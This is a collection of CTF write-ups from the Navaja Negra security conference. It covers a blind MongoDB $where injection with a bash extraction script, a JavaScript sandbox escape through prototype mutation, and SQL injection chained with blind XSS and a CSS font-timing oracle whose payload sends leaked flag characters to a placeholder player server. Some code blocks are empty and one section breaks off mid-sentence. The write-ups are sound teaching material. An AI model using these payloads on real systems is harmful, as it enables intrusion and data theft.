├── 2016
└── nn6ed
│ ├── imgs
│ ├── mongojojo-1.png
│ ├── mongojojo-2.png
│ ├── mongojojo-3.png
│ └── mongojojo-4.png
│ └── web100.md
├── 2018
└── nn8ed
│ └── readme.md
├── 2019
└── nn9ed
│ └── x-oracle
│ └── README.md
└── README.md
/2016/nn6ed/imgs/mongojojo-1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ka0labs/ctf-writeups/77385be72b38ce6dcb6060b2f3fba48ba5374529/2016/nn6ed/imgs/mongojojo-1.png
--------------------------------------------------------------------------------
/2016/nn6ed/imgs/mongojojo-2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ka0labs/ctf-writeups/77385be72b38ce6dcb6060b2f3fba48ba5374529/2016/nn6ed/imgs/mongojojo-2.png
--------------------------------------------------------------------------------
/2016/nn6ed/imgs/mongojojo-3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ka0labs/ctf-writeups/77385be72b38ce6dcb6060b2f3fba48ba5374529/2016/nn6ed/imgs/mongojojo-3.png
--------------------------------------------------------------------------------
/2016/nn6ed/imgs/mongojojo-4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ka0labs/ctf-writeups/77385be72b38ce6dcb6060b2f3fba48ba5374529/2016/nn6ed/imgs/mongojojo-4.png
--------------------------------------------------------------------------------
/2016/nn6ed/web100.md:
--------------------------------------------------------------------------------
1 | # MongoJojo - Web
2 | ## Phase 1 (20 pts)
3 | ======
4 |
5 | #### NoSQL injection on MongoDB
6 |
7 | > MojoJojo has obtained some secret information about the identities of our three favourite little ladies. We only know that he manages this site: http://challenges.ka0labs.org:31337, but we couldn't find anything. We need your help to get access!!?
8 |
9 | When we visit the url we find the following:
10 |
11 |
12 |
13 | Looking into the source code we can see a couple of things:
14 |
15 | ```html
16 |
17 | ```
18 |
19 | And the 3 images:
20 |
21 | ```html
22 |
23 |
24 |
25 | ```
26 |
27 | Doing a quick check we see that these endpoints get a base64 string and cause a redirection to some static files:
28 |
29 | ```bash
30 | $ curl -I http://challenges.ka0labs.org:31337/avatar/Q2FjdHVz
31 | HTTP/1.1 302 Found
32 | Server: nginx
33 | Date: Thu, 06 Oct 2016 13:13:32 GMT
34 | Content-Type: text/plain; charset=utf-8
35 | Content-Length: 38
36 | Connection: keep-alive
37 | Location: /imgs/cactus.png
38 | Vary: Accept
39 | X-Frame-Options: SAMEORIGIN
40 | X-XSS-Protection: 1; mode=block
41 | max_ranges: 0
42 | ```
43 |
44 | Or, when modified:
45 |
46 | ```bash
47 | $ curl -I "http://challenges.ka0labs.org:31337/avatar/$(echo -ne test | base64)"
48 | HTTP/1.1 302 Found
49 | Server: nginx
50 | Date: Thu, 06 Oct 2016 13:16:21 GMT
51 | Content-Type: text/plain; charset=utf-8
52 | Content-Length: 37
53 | Connection: keep-alive
54 | Location: /imgs/undefined
55 | Vary: Accept
56 | X-Frame-Options: SAMEORIGIN
57 | X-XSS-Protection: 1; mode=block
58 | max_ranges: 0
59 | ```
60 |
61 | This `undefined` should ring a bell, since is very common in Javascript. We also see that some special chars or words, like single quotes, cause an error:
62 |
63 | ```bash
64 | $ curl -I "http://challenges.ka0labs.org:31337/avatar/$(echo -ne \' | base64)"
65 | HTTP/1.1 500 Internal Server Error
66 | Server: nginx
67 | Date: Thu, 06 Oct 2016 13:19:13 GMT
68 | Content-Type: text/html; charset=utf-8
69 | Content-Length: 20
70 | Connection: keep-alive
71 | ETag: W/"14-T/08Zi7QtXFVEDkd9P0Srw"
72 | ```
73 |
74 |
75 |
76 | With the title of the challenge we can guess that this was about a NoSQL injection, so we try to get a true/false query.
77 |
78 | True:
79 |
80 | ```bash
81 | $ curl -s -I "http://challenges.ka0labs.org:31337/avatar/$(echo -ne 'Cactus"&&(true)||"' | base64)" | grep Location
82 | Location: /imgs/cactus.png
83 | ```
84 |
85 | False:
86 |
87 | ```bash
88 | $ curl -s -I "http://challenges.ka0labs.org:31337/avatar/$(echo -ne 'Cactus"&&(false)||"' | base64)" | grep Location
89 | Location: /imgs/undefined
90 | ```
91 |
92 | Ok, it's a blind injection, so the first attempt is try to enumerate the collections in the database: `db.getCollectionNames()`. Unfortunately, any access to the `db` object seems to fail.
93 |
94 | At this point some hints were released:
95 |
96 | > $where is my mind? https://www.youtube.com/watch?v=yFAnn2j4iB0
97 |
98 | > RTFM: https://docs.mongodb.com/manual/reference/operator/query/where/
99 |
100 | Now it should be obvious that the injection is inside a `$where` expression, for that reason we didn't have access to most objects. We had 2 options: guess the collection structure (was possible since the parameters were `username` and `password`, most users followed this way), or read the documentation and use some of the allowed methods.
101 |
102 | Our expected solution uses `tojsononeline` and the regexp's `match` method.
103 |
104 | ```bash
105 | $ curl -s -I "http://challenges.ka0labs.org:31337/avatar/$(echo -ne 'Cactus"&&(tojsononeline(this).match(/^.*$/))||"' | base64)" | grep Location
106 | Location: /imgs/cactus.png
107 | ```
108 |
109 | The object `this` in a `$where` expression points to the document being queried in the current collection. So we only need to automatize the process :D
110 |
111 | ```bash
112 | #!/bin/bash
113 |
114 | URL="http://challenges.ka0labs.org:31337/avatar/"
115 | injection=''
116 |
117 | while true; do
118 | echo "Try '$injection'"
119 | for c in {'{','}','\s',',',':','_','!','@','"','\[','\]','\(','\)','\.',{a..z},{0..9},{A..Z}}; do
120 | res="$(curl -s -I "${URL}$(echo -ne "Cactus\"&&tojsononeline(this).match(/^${injection}${c}(.*)$/)||\"" | base64 | tr -d '\n')")"
121 | echo "$res" | grep -q "Location: /imgs/.*.png"
122 | if [ $? -eq 0 ]; then
123 | echo "Match '$c'"
124 | injection="$injection$c"
125 | break
126 | fi
127 | done
128 | done
129 | ```
130 |
131 | After some test & error (special chars may give problems), and sooome time (using threads would had been nice) we get the following structure:
132 |
133 | `{\s\s"_id"\s:\sObjectId\("57d6bc5c27913d21a0bbad44"\),\s\s"user"\s:\s"Cactus",\s\s"password"\s:\s"CuidadoQueQuemo",\s\s"avatar"\s:\s"cactus\.png",\s\s"admin"\s:\s"NO"\s}`
134 |
135 | Since we want the administrator, we need to change our injection a little: `"||this.admin=="YES"&&tojsononeline(this).match(/^(.*)/$)||"`. So we finally get:
136 |
137 | `{\s\s"_id"\s:\sObjectId\("57d6bc3c27913d21a0bbad41"\),\s\s"user"\s:\s"MojoJojo",\s\s"password"\s:\s"bubbles{Ih4t3Sup3RG1rrrlz}",\s\s"avatar"\s:\s"mojo\.png",\s\s"admin"\s:\s"YES"\s}`
138 |
139 | and the flag!!
140 |
141 | #### bubbles{Ih4t3Sup3RG1rrrlz}
142 |
143 | ## Phase 2 (80 pts)
144 | ======
145 |
146 | #### Escape JS sandbox mutating objects
147 |
148 | Once we have obtained the user and password, we can login (it was easy to figure out the `/admin` panel) and we find a rare shell named `MoJS`.
149 |
150 |
151 |
152 | Again, if we read the source code we see that whatever we type in the terminal is sent via websockets and we get a response (mostly some kind of syntax error). Additionally, we can read some HTML comments giving some information about the "sandbox" or the languaged used:
153 |
154 | ```html
155 |
164 | ```
165 |
166 | During the contest several hints were given, including the source code of the server-side interpreter:
167 |
168 | > El source code de MoJS está disponible desde ayer por la noche a través de la función "help"
169 |
170 | > Javascript objects have prototypes. Mutate the scope.
171 |
172 | > ULTIMATE HINT: Each session has a separate scope object, initially with 2 properties (floppyDisk, bitcoins) and a method (help function). Identifiers are simply property access on the scope object. You can create, read and modify any of them. The unique operators are '+' and '='. Parser only understand integers, but Javascript loves to cast ;) And again. Luke, use the prototype...
173 |
174 | Source:
175 |
176 | ```javascript
177 | // Source: http://alf.nu/ReturnTrue
178 | function execute(sessId, raw) {
179 | var tokens = raw.match(/(\\w+|[+=();])/g);
180 |
181 | var peek = _ => tokens[0];
182 | var eat = _ => tokens.shift();
183 | var ate = x => peek() === x && eat();
184 | var want = x => { if (!ate(x)) throw 'Expected "'+x+'" at '+JSON.stringify(tokens); };
185 |
186 | function statement() {
187 | scope[sessId][eat()] = [want('='), expr(), want(';')][1];
188 | }
189 |
190 | function expr() {
191 | for (var v = term(); ate('+'); v = v + term());
192 | return v;
193 | }
194 |
195 | function term() {
196 | for (var v = atom(); ate('('); v = v([expr(), want(')')][0]));
197 | return v;
198 | }
199 |
200 | function atom() {
201 | var p = eat(), n = parseInt(p);
202 | if (!isNaN(n)) return n;
203 | if (!(p in scope[sessId])) throw 'Undefined '+p;
204 | return scope[sessId][p];
205 | }
206 |
207 | while (peek()) statement();
208 | }
209 | ```
210 |
211 | Our input is tokenized and executed. As the "ultimate hint" tell us, we are only able to modify and access the properties of a Javascript object, which initially only has 2 useless properties. However, if we know a little about Javascript, we find out that there are much more properties accessible, like `valueOf, toString, constructor, __proto__, __defineGetter__, __defineSetter__, isPrototypeOf` and a few more.
212 |
213 | We have several syntactic restrictions:
214 |
215 | * No commas. Functions can only have one argument.
216 | * No point or square brackets. We can't access properties from other objets.
217 | * No string literals, arrays, regexps, objects, booleans or floats. The only literals available are positive integers.
218 |
219 | And we also know that the output is returned by assignating the property `result`. Below there are some examples:
220 |
221 |
222 |
223 | Since we had the source code, it was much easier to test in local without all the network overhead (and you also could debug). The challenge may seem frustrating at the begining, we have very few things to do, but at some point we realize that we can redefine the prototype of our object. For instance:
224 |
225 | ```javascript
226 | var obj = {};
227 | obj.__proto__ = obj.constructor; // Object
228 | ```
229 |
230 | With this assignment, we are setting all the properties of `Object` (which is our `constructor`) in our prototype, what means that now they are in our scope and we are able to access them.
231 |
232 | ```
233 | MojoJojo's s3cret sh3ll!
234 | MoJS> __proto__=constructor; result=keys;
235 | "function keys() { [native code] }"
236 | MoJS>
237 | ```
238 |
239 | In fact, we can repeat this process in order to access the `constructor` of our `constructor`, and, meanwhile, save some interesting references into our object:
240 |
241 | ```
242 | MoJS> __proto__=constructor; foo=keys; result=constructor;
243 | "function Function() { [native code] }"
244 | MoJS> result=foo;
245 | "function keys() { [native code] }"
246 | MoJS>
247 | ```
248 |
249 | `Function` is basically an equivalent to `eval`. Hence, if we are able to construct an arbitrary string we will have code execution :D Unfortunately this is also the trickiest part of the challenge. There were many solutions, our expected one was to mutate our object into an string, and access the `fromCharCode` method to generate characters from numbers. Luckily, Javascript's `+` operator is also used for concatenation :)
250 |
251 | ```javascript
252 | var obj = {};
253 | obj.__proto__ = Object(""); // string literal
254 | obj.__proto__ = obj.constructor; // String
255 | ```
256 |
257 | Passing a string into the `Object` constructor will return a string object, which has `String` as constructor. In order to generate this first string we can try to use some property in scope which was a string (like `name` in any function), or we can concatenate a function with a number (yep, js rulez):
258 |
259 | ```
260 | MoJS> result=help+0;
261 | "function () { return execute.toString(); }0"
262 | MoJS>
263 | ```
264 |
265 | Now we need to put all together. Let's do it, step by step:
266 |
267 | ```
268 | MoJS> __proto__=constructor(help+0); // string literal in scope
269 | "undefined"
270 | MoJS> __proto__=constructor; // String "class"
271 | "function String() { [native code] }"
272 | MoJS> result=fromCharCode; // we can access its methods :)
273 | "function fromCharCode() { [native code] }"
274 | MoJS> result=constructor; // String's constructor is Function again
275 | "function Function() { [native code] }"
276 | MoJS> result=constructor(fromCharCode(120))(0); // Function('x')(0)
277 | "x is not defined"
278 | "function Function() { [native code] }"
279 | MoJS>
280 | ```
281 |
282 | And since we have code execution, we can try checking the global scope `return Object.keys(this)`:
283 |
284 | ```
285 | MoJS> __proto__=constructor(help+0);__proto__=constructor;b=fromCharCode;result=constructor(b(114)+b(101)+b(116)+b(117)+b(114)+b(110)+b(32)+b(79)+b(98)+b(106)+b(101)+b(99)+b(116)+b(46)+b(107)+b(101)+b(121)+b(115)+b(40)+b(116)+b(104)+b(105)+b(115)+b(41))(0);
286 | "execute,scope,fl4g"
287 | MoJS>
288 | ```
289 |
290 | Uooh! Easy peasy! We got flag `return fl4g`:
291 |
292 | ```
293 | MoJS> __proto__=constructor(help+0);__proto__=constructor;b=fromCharCode;result=constructor(b(114)+b(101)+b(116)+b(117)+b(114)+b(110)+b(32)+b(102)+b(108)+b(52)+b(103))(0);
294 | "nn6ed{js_m3t4pr0gamming_sk1lls_ftw!}"
295 | MoJS>
296 | ```
297 |
298 | #### nn6ed{js_m3t4pr0gamming_sk1lls_ftw!}
299 |
--------------------------------------------------------------------------------
/2018/nn8ed/readme.md:
--------------------------------------------------------------------------------
1 | # Navaja Negra 2018 CTF Write Ups
2 | ## Pokédex (pwning)
3 | - [@DaniGargu](https://twitter.com/danigargu) [Source + Exploit + original binary](https://github.com/danigargu/my_challenges/tree/master/ctf_nn8ed/pokedex)
4 | - [@Javierprtd](https://twitter.com/javierprtd) [Exploit](https://gist.github.com/soez/930e6964cf5f61f8ebc5d832acb5f4f4)
5 | - [@ManuelBP01](https://twitter.com/Manuelbp01) [Exploit](https://gist.github.com/dialluvioso/e295c02c988041ba412f544e849f32ee)
6 | ## Tindermon (web)
7 | - [@_Dreadlocked](https://twitter.com/_dreadlocked) [Write up + exploit](https://github.com/dreadlocked/ctf-writeups/blob/master/nn8ed/README.md)
8 | ## Pokemon Trilero
9 | - [@TheXC3LL](https://twitter.com/TheXC3LL) [Write up + original code](https://x-c3ll.github.io/posts/nn8ed-CTF/)
10 | ## NESy
11 | - [@TheXC3LL](https://twitter.com/TheXC3LL) [Write up](https://x-c3ll.github.io/posts/nn8ed-CTF/)
12 | ## Updateme (mobile)
13 | - [@SnoozedLife](https://twitter.com/SnoozedLife) [Write up + original APK](https://github.com/snooze6/nn8ed_alwaysupdate)
14 | - Cristian Barrientos [Write up](https://www.fwhibbit.es/nn8ed-write-up-updateme)
15 | ## Pokeball
16 | ## PokeCloner 1
17 | ## Pokecloner 2
18 | ## PokeMap
19 | ## PokeVault
20 | ## HackGym
21 | - [@_Dreadlocked](https://twitter.com/_dreadlocked) [Write up](https://dreadlocked.github.io/2018/10/08/nn8ed-hackgym-writeup/)
22 | - [@TheXC3LL](https://twitter.com/TheXC3LL) [Write up](https://x-c3ll.github.io/posts/nn8ed-CTF/)
23 | ## XOR-Hellcome
24 | ## ZX Spectrum
25 |
--------------------------------------------------------------------------------
/2019/nn9ed/x-oracle/README.md:
--------------------------------------------------------------------------------
1 | # Writeup x-Oracle Challenges (Navaja Negra 2019 CTF)
2 |
3 | > __Preface:__ Navaja Negra is a local security conference celebrated every year in Albacete (Spain). Traditionally we have been organizing small CTFs for it. These tasks are a series of web challenges for this year: https://nn9ed.ka0labs.org/.
4 |
5 | The challenges are based on a vanilla SQL injection that must be exploited by a bot with admin role. The [source code](https://gist.github.com/cgvwzq/c78aa5fc228225a2779745f2705eeab5) is provided, so it is easy to spot the SQLi.
6 |
7 | Complete source code: https://github.com/cgvwzq/ctf_tasks/tree/master/nn9ed
8 |
9 | ## x-Oracle-v0
10 |
11 | The first challenge can be solved by chaining the SQL injection with a Blind XSS. The CSP configuration allows `unsafe-inline` and `img-src *`, so it is easy to force the bot to exploit the SQL injection and exfiltrate the flag to an external server:
12 |
13 | ```html
14 |
15 | ```
16 |
17 | Easy Peasy, here's your flag: `nn9ed{y0u_b3tt3r_warmUp_your_w3b_j4king_sk1lls}`
18 |
19 | ## x-Oracle-v1
20 |
21 | This challenges includes a patch for the previous bug:
22 |
23 | ```
24 | < res.setHeader('Content-Security-Policy', "default-src 'self' 'unsafe-inline'; img-src *; style-src *; font-src *");
25 | ---
26 | > res.setHeader('Content-Security-Policy', "default-src 'self'; img-src *; style-src * 'unsafe-inline'; font-src *");
27 | ```
28 |
29 | With this stricter CSP we cannot inject
94 | ```
95 |
96 | The flag: `nn9ed{t1ming_att4cks_ar3_th3_best_att4cks}`
97 |
98 | ## x-Oracle-v2
99 |
100 | Now cross-site timing attacks are mitigated by SameSite cookies (this was supposed to be a huge hint for the bug in v1):
101 |
102 | ```
103 | < cookie: { secure: false }
104 | ---
105 | > cookie: { secure: false, sameSite: 'strict' }
106 | ```
107 |
108 | Again, CSP only allows imgs, styles and fonts. Fonts? Yep! Fonts!
109 |
110 | Unfortunately, SameSite cookies mean that we can not exploit cross-site timing attacks anymore ---the admin's cookie will not be send on the request.
111 |
112 | Instead, our intended solution uses "fonts"! This summer we spend some time discussing about how to measure time purely in CSS, and after some reading, we found out that CSS font urls have a fallback mechanism that could be abused for that. This approach has several limitations, but it seemed fun enough for a CTF task :)
113 |
114 | Specifically we are interested in `font-display`, according to the [spec](https://drafts.csswg.org/css-fonts-4/#font-display-desc):
115 |
116 | >...[font-display] determines how a font face is displayed, based on whether and when it is downloaded and ready to use"
117 |
118 | It supports 5 options:
119 |
120 | * `auto`: The display policy is user-agent-defined (most cases same as `block`)
121 | * `block`: Gives the font face a short __block period__ (3s is recommended in most cases) and an infinite __swap period__.
122 | * `swap`: Gives the font face an extremely small __block period__ (100ms or less is recommended in most cases) and an infinite __swap period__.
123 | * `fallback`: Gives the font face an extremely small __block period__ (100ms or less is recommended in most cases) and a short __swap period__ (3s is recommended in most cases).
124 | * `optional`: Gives the font face an extremely small __block period__ (100ms or less is recommended in most cases) and a 0s __swap period__.
125 |
126 | And from the moment that the user-agent tries to download a font, the font-face starts a timer that will advance through 3 periods:
127 |
128 | * __Block period__: if the font face is not loaded, any element attempting to use it must instead render with an invisible fallback font face. If the font face successfully loads during the block period, the font face is then used normally.
129 | * __Swap period__: if the font face is not loaded, any element attempting to use it must instead render with a fallback font face. If the font face successfully loads during the swap period, the font face is then used normally.
130 | * __Failure period__: if the font face is not yet loaded when this period starts, it’s marked as a failed load, causing normal font fallback. Otherwise, the font face is used normally.
131 |
132 | In practice, we can expect the following scenario:
133 |
134 | ```css
135 | @font-face {
136 | font-family: Leak;
137 | src: url(http://url-a/), url(http://url-b);
138 | font-display: optional;
139 | }
140 | div.leak {
141 | font-family: Leak;
142 | }
143 | ```
144 |
145 | Our font will try to load the first resource, since we are using `font-display: optional`, the block period has only 100ms to load the resource. If the requests fails during this time, the fallback font will be requested; otherwise, it will skip the swap period, mark the load as failed, and fallback to the normal font.
146 |
147 | This means that if the first request takes too long to resolve, the second request is never done. Or in other words, we have our oracle in pure CSS!
148 |
149 | From this point, is relatively easy to implement a tree search based on the time-based SQLi:
150 |
151 | ```css
152 | @font-face {
153 | font-family: Leak;
154 | src:url(http://x-oracle-v2.nn9ed.ka0labs.org/admin/search/x%27union%20select%20if%28flag%20regexp%20%27nn9ed%7B%5B%5C_abcdel%5D.*%7D%27,0,sleep%280.1%29%29%20from%20challenge%20where%20flag%20like%27nn9ed%7B%25%27%23), url(http://PLAYER_SERVER/leak?pre=nn9ed%7B&range=%5C_abcdel);
155 | font-display: optional;
156 | unicode-range: U+005f,U+0061,U+0062,U+0063,U+0064,U+0065,U+006c;
157 | }
158 |
159 | @font-face {
160 | font-family: Leak;
161 | src:url(http://x-oracle-v2.nn9ed.ka0labs.org/admin/search/x%27union%20select%20if%28flag%20regexp%20%27nn9ed%7B%5Bfghijs%5D.*%7D%27,0,sleep%280.1%29%29%20from%20challenge%20where%20flag%20like%27nn9ed%7B%25%27%23), url(http://PLAYER_SERVER/leak?pre=nn9ed%7B&range=fghijs);
162 | font-display: optional;
163 | unicode-range: U+0066,U+0067,U+0068,U+0069,U+006a,U+0073;
164 | }
165 | div { font-family: Leak; }
166 | ```
167 | When the admin visits a page with the following content, it will ping back with the subset that contains the first character:
168 |
169 | ```html
170 |